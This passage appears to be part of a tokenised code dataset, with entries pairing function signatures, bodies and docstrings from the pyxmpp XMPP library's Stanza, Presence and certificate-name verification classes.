StanzaErrorElement(error_cond)<EOL><DEDENT>else:<EOL><INDENT>self._decode_error()<EOL><DEDENT><DEDENT>if return_path is not None:<EOL><INDENT>self._return_path = weakref.ref(return_path)<EOL><DEDENT>", "docstring": "Initialize a Stanza object.\n\n        :Parameters:\n            - `element`: XML element of this stanza, or element name for a new\n              stanza. If element is given it must not be modified later,\n              unless `decode_payload()` and `mark_dirty()` methods are called\n              first (the element changes won't affec the stanza then).\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: \"get\", \"set\", \"result\" or\n              \"error\".\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute. If\n              not given, then unique for the session value is generated.\n            - `error`: error object. Ignored if `stanza_type` is not \"error\".\n            - `error_cond`: error condition name. Ignored if `stanza_type` is\n              not \"error\" or `error` is not None.\n            - `return_path`: route for sending responses to this stanza. Will\n              be weakly referenced.\n            - `language`: default language for the stanza content\n        :Types:\n            - `element`: `unicode` or :etree:`ElementTree.Element`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `error`: `pyxmpp.error.StanzaErrorElement`\n            - `error_cond`: `unicode`\n            - `return_path`: `StanzaRoute`\n            - `language`: `unicode`", "id": "f15259:c0:m0"}
{"signature": "def _decode_attributes(self):", "body": "try:<EOL><INDENT>from_jid = self._element.get('<STR_LIT>')<EOL>if from_jid:<EOL><INDENT>self._from_jid = JID(from_jid)<EOL><DEDENT>to_jid = self._element.get('<STR_LIT:to>')<EOL>if to_jid:<EOL><INDENT>self._to_jid = JID(to_jid)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise JIDMalformedProtocolError<EOL><DEDENT>self._stanza_type = self._element.get('<STR_LIT:type>')<EOL>self._stanza_id = self._element.get('<STR_LIT:id>')<EOL>lang = self._element.get(XML_LANG_QNAME)<EOL>if lang:<EOL><INDENT>self._language = lang<EOL><DEDENT>", "docstring": "Decode attributes of the stanza XML element\n        and put them into the stanza properties.", "id": "f15259:c0:m1"}
{"signature": "def _decode_error(self):", "body": "error_qname = self._ns_prefix + \"<STR_LIT:error>\"<EOL>for child in self._element:<EOL><INDENT>if child.tag == error_qname:<EOL><INDENT>self._error = StanzaErrorElement(child)<EOL>return<EOL><DEDENT><DEDENT>raise BadRequestProtocolError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Decode error element of the stanza.", "id": "f15259:c0:m2"}
{"signature": "def copy(self):", "body": "result = Stanza(self.element_name, self.from_jid, self.to_jid,<EOL>self.stanza_type, self.stanza_id, self.error,<EOL>self._return_path())<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>result.add_payload(payload.copy())<EOL><DEDENT>return result<EOL>", "docstring": "Create a deep copy of the stanza.\n\n        :returntype: `Stanza`", "id": "f15259:c0:m3"}
{"signature": "def serialize(self):", "body": "return serialize(self.get_xml())<EOL>", "docstring": "Serialize the stanza into a Unicode XML string.\n\n        :return: serialized stanza.\n        :returntype: `unicode`", "id": "f15259:c0:m4"}
{"signature": "def as_xml(self):", "body": "attrs = {}<EOL>if self._from_jid:<EOL><INDENT>attrs['<STR_LIT>'] = unicode(self._from_jid)<EOL><DEDENT>if self._to_jid:<EOL><INDENT>attrs['<STR_LIT:to>'] = unicode(self._to_jid)<EOL><DEDENT>if self._stanza_type:<EOL><INDENT>attrs['<STR_LIT:type>'] = self._stanza_type<EOL><DEDENT>if self._stanza_id:<EOL><INDENT>attrs['<STR_LIT:id>'] = self._stanza_id<EOL><DEDENT>if self._language:<EOL><INDENT>attrs[XML_LANG_QNAME] = self._language<EOL><DEDENT>element = ElementTree.Element(self._element_qname, attrs)<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>element.append(payload.as_xml())<EOL><DEDENT>if self._error:<EOL><INDENT>element.append(self._error.as_xml(<EOL>stanza_namespace = self._namespace))<EOL><DEDENT>return element<EOL>", "docstring": "Return the XML stanza representation.\n\n        Always return an independent copy of the stanza XML representation,\n        which can be freely modified without affecting the stanza.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15259:c0:m5"}
{"signature": "def get_xml(self):", "body": "if not self._dirty:<EOL><INDENT>return self._element<EOL><DEDENT>element = self.as_xml()<EOL>self._element = element<EOL>self._dirty = False<EOL>return element<EOL>", "docstring": "Return the XML stanza representation.\n\n        This returns the original or cached XML representation, which\n        may be much more efficient than `as_xml`.\n\n        Result of this function should never be modified.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15259:c0:m6"}
{"signature": "def decode_payload(self, specialize = False):", "body": "if self._payload is not None:<EOL><INDENT>return<EOL><DEDENT>if self._element is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"\"<STR_LIT>\")<EOL><DEDENT>payload = []<EOL>if specialize:<EOL><INDENT>factory = payload_factory<EOL><DEDENT>else:<EOL><INDENT>factory = XMLPayload<EOL><DEDENT>for child in self._element:<EOL><INDENT>if self.__class__ is not Stanza:<EOL><INDENT>if child.tag.startswith(self._ns_prefix):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>payload.append(factory(child))<EOL><DEDENT>self._payload = payload<EOL>", "docstring": "Decode payload from the element passed to the stanza constructor.\n\n        Iterates over stanza children and creates StanzaPayload objects for\n        them. Called automatically by `get_payload()` and other methods that\n        access the payload.\n\n        For the `Stanza` class stanza namespace child elements will also be\n        included as the payload. For subclasses these are no considered\n        payload.", "id": "f15259:c0:m7"}
{"signature": "@property<EOL><INDENT>def from_jid(self): <DEDENT>", "body": "return self._from_jid<EOL>", "docstring": "Source JID of the stanza.\n\n        :returntype: `JID`", "id": "f15259:c0:m8"}
{"signature": "@property<EOL><INDENT>def to_jid(self): <DEDENT>", "body": "return self._to_jid<EOL>", "docstring": "Destination JID of the stanza.\n\n        :returntype: `JID`", "id": "f15259:c0:m10"}
{"signature": "@property<EOL><INDENT>def stanza_type(self): <DEDENT>", "body": "return self._stanza_type<EOL>", "docstring": "Stanza type, one of: \"get\", \"set\", \"result\" or \"error\".\n\n        :returntype: `unicode`", "id": "f15259:c0:m12"}
{"signature": "@property<EOL><INDENT>def stanza_id(self): <DEDENT>", "body": "return self._stanza_id<EOL>", "docstring": "Stanza id.\n\n        :returntype: `unicode`", "id": "f15259:c0:m14"}
{"signature": "@property<EOL><INDENT>def error(self): <DEDENT>", "body": "return self._error<EOL>", "docstring": "Stanza error element.\n\n        :returntype: `StanzaErrorElement`", "id": "f15259:c0:m16"}
{"signature": "@property<EOL><INDENT>def return_path(self): <DEDENT>", "body": "return self._return_path()<EOL>", "docstring": "Stream the stanza was received from.\n\n        :returntype: `StanzaRoute`", "id": "f15259:c0:m18"}
{"signature": "def mark_dirty(self):", "body": "self._dirty = True<EOL>", "docstring": "Mark the stanza 'dirty' so the XML representation will be\n        re-built the next time it is requested.\n\n        This should be called each time the payload attached to the stanza is\n        modifed.", "id": "f15259:c0:m19"}
{"signature": "def set_payload(self, payload):", "body": "if isinstance(payload, ElementClass):<EOL><INDENT>self._payload = [ XMLPayload(payload) ]<EOL><DEDENT>elif isinstance(payload, StanzaPayload):<EOL><INDENT>self._payload = [ payload ]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self._dirty = True<EOL>", "docstring": "Set stanza payload to a single item.\n\n        All current stanza content of will be dropped.\n        Marks the stanza dirty.\n\n        :Parameters:\n            - `payload`: XML element or stanza payload object to use\n        :Types:\n            - `payload`: :etree:`ElementTree.Element` or `StanzaPayload`", "id": "f15259:c0:m20"}
{"signature": "def add_payload(self, payload):", "body": "if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>if isinstance(payload, ElementClass):<EOL><INDENT>self._payload.append(XMLPayload(payload))<EOL><DEDENT>elif isinstance(payload, StanzaPayload):<EOL><INDENT>self._payload.append(payload)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self._dirty = True<EOL>", "docstring": "Add new the stanza payload.\n\n        Marks the stanza dirty.\n\n        :Parameters:\n            - `payload`: XML element or stanza payload object to add\n        :Types:\n            - `payload`: :etree:`ElementTree.Element` or `StanzaPayload`", "id": "f15259:c0:m21"}
{"signature": "def get_all_payload(self, specialize = False):", "body": "if self._payload is None:<EOL><INDENT>self.decode_payload(specialize)<EOL><DEDENT>elif specialize:<EOL><INDENT>for i, payload in enumerate(self._payload):<EOL><INDENT>if isinstance(payload, XMLPayload):<EOL><INDENT>klass = payload_class_for_element_name(<EOL>payload.element.tag)<EOL>if klass is not XMLPayload:<EOL><INDENT>payload = klass.from_xml(payload.element)<EOL>self._payload[i] = payload<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return list(self._payload)<EOL>", "docstring": "Return list of stanza payload objects.\n\n        :Parameters:\n            - `specialize`: If `True`, then return objects of specialized\n              `StanzaPayload` classes whenever possible, otherwise the\n              representation already available will be used (often\n              `XMLPayload`)\n\n        :Returntype: `list` of `StanzaPayload`", "id": "f15259:c0:m22"}
{"signature": "def get_payload(self, payload_class, payload_key = None,<EOL>specialize = False):", "body": "if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>if payload_class is None:<EOL><INDENT>if self._payload:<EOL><INDENT>payload = self._payload[<NUM_LIT:0>]<EOL>if specialize and isinstance(payload, XMLPayload):<EOL><INDENT>klass = payload_class_for_element_name(<EOL>payload.element.tag)<EOL>if klass is not XMLPayload:<EOL><INDENT>payload = klass.from_xml(payload.element)<EOL>self._payload[<NUM_LIT:0>] = payload<EOL><DEDENT><DEDENT>return payload<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>elements = payload_class._pyxmpp_payload_element_name<EOL>for i, payload in enumerate(self._payload):<EOL><INDENT>if isinstance(payload, XMLPayload):<EOL><INDENT>if payload_class is not XMLPayload:<EOL><INDENT>if payload.xml_element_name not in elements:<EOL><INDENT>continue<EOL><DEDENT>payload = payload_class.from_xml(payload.element)<EOL><DEDENT><DEDENT>elif not isinstance(payload, payload_class):<EOL><INDENT>continue<EOL><DEDENT>if payload_key is not None and payload_key != payload.handler_key():<EOL><INDENT>continue<EOL><DEDENT>self._payload[i] = payload<EOL>return payload<EOL><DEDENT>return None<EOL>", "docstring": "Get the first payload item matching the given class\n        and optional key.\n\n        Payloads may be addressed using a specific payload class or\n        via the generic `XMLPayload` element, though the `XMLPayload`\n        representation is available only as long as the element is not\n        requested by a more specific type.\n\n        :Parameters:\n            - `payload_class`: requested payload class, a subclass of\n              `StanzaPayload`. If `None` get the first payload in whatever\n              class is available.\n            - `payload_key`: optional key for additional match. When used\n              with `payload_class` = `XMLPayload` this selects the element to\n              match\n            - `specialize`: If `True`, and `payload_class` is `None` then\n              return object of a specialized `StanzaPayload` subclass whenever\n              possible\n        :Types:\n            - `payload_class`: `StanzaPayload`\n            - `specialize`: `bool`\n\n        :Return: payload element found or `None`\n        :Returntype: `StanzaPayload`", "id": "f15259:c0:m23"}
{"signature": "@classmethod<EOL><INDENT>def gen_id(cls):<DEDENT>", "body": "cls.last_id += <NUM_LIT:1><EOL>return str(cls.last_id)<EOL>", "docstring": "Generate stanza id unique for the session.\n\n        :return: the new id.", "id": "f15259:c0:m24"}
{"signature": "def _decode_asn1_string(data):", "body": "if isinstance(data, BMPString):<EOL><INDENT>return bytes(data).decode(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return bytes(data).decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>", "docstring": "Convert ASN.1 string to a Unicode string.", "id": "f15260:m0"}
{"signature": "def get_certificate_from_file(filename):", "body": "return ASN1CertificateData.from_file(filename)<EOL>", "docstring": "Get certificate data from a PEM file.", "id": "f15260:m1"}
{"signature": "@property<EOL><INDENT>def display_name(self):<DEDENT>", "body": "if self.subject_name:<EOL><INDENT>return \"<STR_LIT:U+002CU+0020>\".join( [ \"<STR_LIT:U+002CU+0020>\".join(<EOL>[ \"<STR_LIT>\".format(k,v) for k, v in dn_tuple ] )<EOL>for dn_tuple in self.subject_name ])<EOL><DEDENT>for name_type in (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>names = self.alt_names.get(name_type)<EOL>if names:<EOL><INDENT>return names[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Get human-readable subject name derived from the SubjectName\n        or SubjectAltName field.", "id": "f15260:c0:m1"}
{"signature": "def get_jids(self):", "body": "result = []<EOL>if (\"<STR_LIT>\" in self.alt_names or \"<STR_LIT>\" in self.alt_names<EOL>or \"<STR_LIT>\" in self.alt_names):<EOL><INDENT>addrs =  self.alt_names.get(\"<STR_LIT>\", [])<EOL>addrs += [ addr for addr in self.alt_names.get(\"<STR_LIT>\", [])<EOL>if not addr.startswith(\"<STR_LIT>\") ]<EOL>addrs += [ addr.split(\"<STR_LIT:.>\", <NUM_LIT:1>)[<NUM_LIT:1>] for addr<EOL>in self.alt_names.get(\"<STR_LIT>\", [])<EOL>if (addr.startswith(\"<STR_LIT>\")<EOL>or addr.startswith(\"<STR_LIT>\"))]<EOL>warn_bad = True<EOL><DEDENT>elif self.common_names:<EOL><INDENT>addrs = [addr for addr in self.common_names<EOL>if \"<STR_LIT:@>\" not in addr and \"<STR_LIT:/>\" not in addr]<EOL>warn_bad = False<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>for addr in addrs:<EOL><INDENT>try:<EOL><INDENT>jid = JID(addr)<EOL>if jid not in result:<EOL><INDENT>result.append(jid)<EOL><DEDENT><DEDENT>except JIDError as err:<EOL><INDENT>if warn_bad:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>.format(addr, err))<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Return JIDs for which this certificate is valid (except the domain\n        wildcards).\n\n        :Returtype: `list` of `JID`", "id": "f15260:c0:m2"}
{"signature": "def verify_server(self, server_name, srv_type = '<STR_LIT>'):", "body": "server_jid = JID(server_name)<EOL>if \"<STR_LIT>\" not in self.alt_names and \"<STR_LIT>\" not in self.alt_namesand \"<STR_LIT>\" not in self.alt_names:<EOL><INDENT>return self.verify_jid_against_common_name(server_jid)<EOL><DEDENT>names = [name for name in self.alt_names.get(\"<STR_LIT>\", [])<EOL>if not name.startswith(\"<STR_LIT>\")]<EOL>names += self.alt_names.get(\"<STR_LIT>\", [])<EOL>for name in names:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(server_jid,<EOL>name))<EOL>try:<EOL><INDENT>jid = JID(name)<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(name))<EOL>continue<EOL><DEDENT>if jid == server_jid:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL><DEDENT><DEDENT>if srv_type and self.verify_jid_against_srv_name(server_jid, srv_type):<EOL><INDENT>return True<EOL><DEDENT>wildcards = [name[<NUM_LIT:2>:] for name in self.alt_names.get(\"<STR_LIT>\", [])<EOL>if name.startswith(\"<STR_LIT>\")]<EOL>if not wildcards or not \"<STR_LIT:.>\" in server_jid.domain:<EOL><INDENT>return False<EOL><DEDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(server_jid, wildcards))<EOL>server_domain = JID(domain = server_jid.domain.split(\"<STR_LIT:.>\", <NUM_LIT:1>)[<NUM_LIT:1>])<EOL>for domain in wildcards:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(server_domain,<EOL>domain))<EOL>try:<EOL><INDENT>jid = JID(domain)<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(name))<EOL>continue<EOL><DEDENT>if jid == server_domain:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Verify certificate for a server.\n\n        :Parameters:\n            - `server_name`: name of the server presenting the cerificate\n            - `srv_type`: service type requested, as used in the SRV record\n        :Types:\n            - `server_name`: `unicode` or `JID`\n            - `srv_type`: `unicode`\n\n        :Return: `True` if the certificate is valid for given name, `False`\n        otherwise.", "id": "f15260:c0:m3"}
{"signature": "def verify_jid_against_common_name(self, jid):", "body": "if not self.common_names:<EOL><INDENT>return False<EOL><DEDENT>for name in self.common_names:<EOL><INDENT>try:<EOL><INDENT>cn_jid = JID(name)<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>if jid == cn_jid:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return `True` if jid is listed in the certificate commonName.\n\n        :Parameters:\n            - `jid`: JID requested (domain part only)\n        :Types:\n            - `jid`: `JID`\n\n        :Returntype: `bool`", "id": "f15260:c0:m4"}
{"signature": "def verify_jid_against_srv_name(self, jid, srv_type):", "body": "srv_prefix = \"<STR_LIT:_>\" + srv_type + \"<STR_LIT:.>\"<EOL>srv_prefix_l = len(srv_prefix)<EOL>for srv in self.alt_names.get(\"<STR_LIT>\", []):<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(jid,<EOL>srv))<EOL>if not srv.startswith(srv_prefix):<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(srv, srv_prefix))<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>srv_jid = JID(srv[srv_prefix_l:])<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>if srv_jid == jid:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if the cerificate is valid for given domain-only JID\n        and a service type.\n\n        :Parameters:\n            - `jid`: JID requested (domain part only)\n            - `srv_type`: service type, e.g. 'xmpp-client'\n        :Types:\n            - `jid`: `JID`\n            - `srv_type`: `unicode`\n        :Returntype: `bool`", "id": "f15260:c0:m5"}
{"signature": "def verify_client(self, client_jid = None, domains = None):", "body": "jids = [jid for jid in self.get_jids() if jid.local]<EOL>if not jids:<EOL><INDENT>return None<EOL><DEDENT>if client_jid is not None and client_jid in jids:<EOL><INDENT>return client_jid<EOL><DEDENT>if domains is None:<EOL><INDENT>return jids[<NUM_LIT:0>]<EOL><DEDENT>for jid in jids:<EOL><INDENT>for domain in domains:<EOL><INDENT>if are_domains_equal(jid.domain, domain):<EOL><INDENT>return jid<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Verify certificate for a client.\n\n        Please note that `client_jid` is only a hint to choose from the names,\n        other JID may be returned if `client_jid` is not included in the\n        certificate.\n\n        :Parameters:\n            - `client_jid`: client name requested. May be `None` to allow\n              any name in one of the `domains`.\n            - `domains`: list of domains we can handle.\n        :Types:\n            - `client_jid`: `JID`\n            - `domains`: `list` of `unicode`\n\n        :Return: one of the jids in the certificate or `None` is no authorized\n        name is found.", "id": "f15260:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def from_ssl_socket(cls, ssl_socket):<DEDENT>", "body": "cert = cls()<EOL>try:<EOL><INDENT>data = ssl_socket.getpeercert()<EOL><DEDENT>except AttributeError:<EOL><INDENT>return cert<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(data))<EOL>if not data:<EOL><INDENT>return cert<EOL><DEDENT>cert.validated = True<EOL>cert.subject_name = data.get('<STR_LIT>')<EOL>cert.alt_names = defaultdict(list)<EOL>if '<STR_LIT>' in data:<EOL><INDENT>for name, value in data['<STR_LIT>']:<EOL><INDENT>cert.alt_names[name].append(value)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in data:<EOL><INDENT>tstamp = ssl.cert_time_to_seconds(data['<STR_LIT>'])<EOL>cert.not_after = datetime.utcfromtimestamp(tstamp)<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>cert._decode_names() <EOL><DEDENT>cert.common_names = []<EOL>if cert.subject_name:<EOL><INDENT>for part in cert.subject_name:<EOL><INDENT>for name, value in part:<EOL><INDENT>if name == '<STR_LIT>':<EOL><INDENT>cert.common_names.append(value)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return cert<EOL>", "docstring": "Load certificate data from an SSL socket.", "id": "f15260:c1:m0"}
{"signature": "def _decode_names(self):", "body": "if self.subject_name is not None:<EOL><INDENT>subject_name = []<EOL>for part in self.subject_name:<EOL><INDENT>new_part = []<EOL>for name, value in part:<EOL><INDENT>try:<EOL><INDENT>name = name.decode(\"<STR_LIT:utf-8>\")<EOL>value = value.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>except UnicodeError:<EOL><INDENT>continue<EOL><DEDENT>new_part.append((name, value))<EOL><DEDENT>subject_name.append(tuple(new_part))<EOL><DEDENT>self.subject_name = tuple(subject_name)<EOL><DEDENT>for key, old in list(self.alt_names.items()):<EOL><INDENT>new = []<EOL>for name in old:<EOL><INDENT>try:<EOL><INDENT>name = name.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>except UnicodeError:<EOL><INDENT>continue<EOL><DEDENT>new.append(name)<EOL><DEDENT>self.alt_names[key] = new<EOL><DEDENT>", "docstring": "Decode names (hopefully ASCII or UTF-8) into Unicode.", "id": "f15260:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_ssl_socket(cls, ssl_socket):<DEDENT>", "body": "try:<EOL><INDENT>data = ssl_socket.getpeercert(True)<EOL><DEDENT>except AttributeError:<EOL><INDENT>data = None<EOL><DEDENT>if not data:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return cls()<EOL><DEDENT>result = cls.from_der_data(data)<EOL>result.validated = bool(ssl_socket.getpeercert())<EOL>return result<EOL>", "docstring": "Get certificate data from an SSL socket.", "id": "f15260:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_der_data(cls, data):<DEDENT>", "body": "<EOL>logger.debug(\"<STR_LIT>\".format(data))<EOL>if cls._cert_asn1_type is None:<EOL><INDENT>cls._cert_asn1_type = Certificate()<EOL><DEDENT>cert = der_decoder.decode(data, asn1Spec = cls._cert_asn1_type)[<NUM_LIT:0>]<EOL>result = cls()<EOL>tbs_cert = cert.getComponentByName('<STR_LIT>')<EOL>subject = tbs_cert.getComponentByName('<STR_LIT>')<EOL>logger.debug(\"<STR_LIT>\".format(subject))<EOL>result._decode_subject(subject)<EOL>validity = tbs_cert.getComponentByName('<STR_LIT>')<EOL>result._decode_validity(validity)<EOL>extensions = tbs_cert.getComponentByName('<STR_LIT>')<EOL>if extensions:<EOL><INDENT>for extension in extensions:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(extension))<EOL>oid = extension.getComponentByName('<STR_LIT>')<EOL>logger.debug(\"<STR_LIT>\".format(oid))<EOL>if oid != SUBJECT_ALT_NAME_OID:<EOL><INDENT>continue<EOL><DEDENT>value = extension.getComponentByName('<STR_LIT>')<EOL>logger.debug(\"<STR_LIT>\".format(value))<EOL>if isinstance(value, Any):<EOL><INDENT>value = der_decoder.decode(value,<EOL>asn1Spec = OctetString())[<NUM_LIT:0>]<EOL><DEDENT>alt_names = der_decoder.decode(value,<EOL>asn1Spec = GeneralNames())[<NUM_LIT:0>]<EOL>logger.debug(\"<STR_LIT>\".format(alt_names))<EOL>result._decode_alt_names(alt_names)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Decode DER-encoded certificate.\n\n        :Parameters:\n            - `data`: the encoded certificate\n        :Types:\n            - `data`: `bytes`\n\n        :Return: decoded certificate data\n        :Returntype: ASN1CertificateData", "id": "f15260:c2:m1"}
{"signature": "def _decode_subject(self, subject):", "body": "self.common_names = []<EOL>subject_name = []<EOL>for rdnss in subject:<EOL><INDENT>for rdns in rdnss:<EOL><INDENT>rdnss_list = []<EOL>for nameval in rdns:<EOL><INDENT>val_type = nameval.getComponentByName('<STR_LIT:type>')<EOL>value = nameval.getComponentByName('<STR_LIT:value>')<EOL>if val_type not in DN_OIDS:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(val_type))<EOL>continue<EOL><DEDENT>val_type = DN_OIDS[val_type]<EOL>value = der_decoder.decode(value,<EOL>asn1Spec = DirectoryString())[<NUM_LIT:0>]<EOL>value = value.getComponent()<EOL>try:<EOL><INDENT>value = _decode_asn1_string(value)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(value))<EOL>continue<EOL><DEDENT>if val_type == \"<STR_LIT>\":<EOL><INDENT>self.common_names.append(value)<EOL><DEDENT>rdnss_list.append((val_type, value))<EOL><DEDENT>subject_name.append(tuple(rdnss_list))<EOL><DEDENT><DEDENT>self.subject_name = tuple(subject_name)<EOL>", "docstring": "Load data from a ASN.1 subject.", "id": "f15260:c2:m2"}
{"signature": "def _decode_validity(self, validity):", "body": "not_after = validity.getComponentByName('<STR_LIT>')<EOL>not_after = str(not_after.getComponent())<EOL>if isinstance(not_after, GeneralizedTime):<EOL><INDENT>self.not_after = datetime.strptime(not_after, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.not_after = datetime.strptime(not_after, \"<STR_LIT>\")<EOL><DEDENT>self.alt_names = defaultdict(list)<EOL>", "docstring": "Load data from a ASN.1 validity value.", "id": "f15260:c2:m3"}
{"signature": "def _decode_alt_names(self, alt_names):", "body": "for alt_name in alt_names:<EOL><INDENT>tname = alt_name.getName()<EOL>comp = alt_name.getComponent()<EOL>if tname == \"<STR_LIT>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL>value = _decode_asn1_string(comp)<EOL><DEDENT>elif tname == \"<STR_LIT>\":<EOL><INDENT>key = \"<STR_LIT>\"<EOL>value = _decode_asn1_string(comp)<EOL><DEDENT>elif tname == \"<STR_LIT>\":<EOL><INDENT>oid = comp.getComponentByName(\"<STR_LIT>\")<EOL>value = comp.getComponentByName(\"<STR_LIT:value>\")<EOL>if oid == XMPPADDR_OID:<EOL><INDENT>key = \"<STR_LIT>\"<EOL>value = der_decoder.decode(value,<EOL>asn1Spec = UTF8String())[<NUM_LIT:0>]<EOL>value = _decode_asn1_string(value)<EOL><DEDENT>elif oid == SRVNAME_OID:<EOL><INDENT>key = \"<STR_LIT>\"<EOL>value = der_decoder.decode(value,<EOL>asn1Spec = IA5String())[<NUM_LIT:0>]<EOL>value = _decode_asn1_string(value)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(oid))<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(tname))<EOL>continue<EOL><DEDENT>self.alt_names[key].append(value)<EOL><DEDENT>", "docstring": "Load SubjectAltName from a ASN.1 GeneralNames value.\n\n        :Values:\n            - `alt_names`: the SubjectAltNama extension value\n        :Types:\n            - `alt_name`: `GeneralNames`", "id": "f15260:c2:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_file(cls, filename):<DEDENT>", "body": "with open(filename, \"<STR_LIT:r>\") as pem_file:<EOL><INDENT>data = pem.readPemFromFile(pem_file)<EOL><DEDENT>return cls.from_der_data(data)<EOL>", "docstring": "Load certificate from a file.", "id": "f15260:c2:m5"}
{"signature": "def __init__(self, element = None, from_jid = None, to_jid = None,<EOL>stanza_type = None, stanza_id = None,<EOL>error = None, error_cond = None, return_path = None,<EOL>language = None,<EOL>show = None, status = None, priority = None):", "body": "<EOL>self._show = None<EOL>self._status = None<EOL>self._priority = <NUM_LIT:0><EOL>if element is None:<EOL><INDENT>element = \"<STR_LIT>\"<EOL><DEDENT>elif not isinstance(element, ElementClass):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + repr(element))<EOL><DEDENT>if stanza_type is not None and stanza_type not in PRESENCE_TYPES:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif stanza_type == '<STR_LIT>':<EOL><INDENT>stanza_type = None<EOL><DEDENT>Stanza.__init__(self, element, from_jid = from_jid, to_jid = to_jid,<EOL>stanza_type = stanza_type, stanza_id = stanza_id,<EOL>error = error, error_cond = error_cond,<EOL>return_path = return_path, language = language)<EOL>if self.element_name != \"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._show_tag = self._ns_prefix + \"<STR_LIT>\"<EOL>self._status_tag = self._ns_prefix + \"<STR_LIT:status>\"<EOL>self._priority_tag = self._ns_prefix + \"<STR_LIT>\"<EOL>if self._element is not None:<EOL><INDENT>self._decode_subelements()<EOL><DEDENT>if show is not None:<EOL><INDENT>self.show = show<EOL><DEDENT>if status is not None:<EOL><INDENT>self.status = status<EOL><DEDENT>if priority is not None:<EOL><INDENT>self.priority = priority<EOL><DEDENT>", "docstring": "Initialize a `Presence` object.\n\n        :Parameters:\n            - `element`: XML element\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: None, \"available\",\n              \"unavailable\", \"subscribe\", \"subscribed\", \"unsubscribe\",\n              \"unsubscribed\" or \"error\". \"available\" is automaticaly changed to\n              None.\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute\n            - `language`: default language for the stanza content\n            - `show`: \"show\" field of presence stanza. One of: None, \"away\",\n              \"xa\", \"dnd\", \"chat\".\n            - `status`: descriptive text for the presence stanza.\n            - `priority`: presence priority.\n            - `error_cond`: error condition name. Ignored if `stanza_type` is\n              not \"error\"\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `language`: `unicode`\n            - `show`: `unicode`\n            - `status`: `unicode`\n            - `priority`: `int`\n            - `error_cond`: `unicode`", 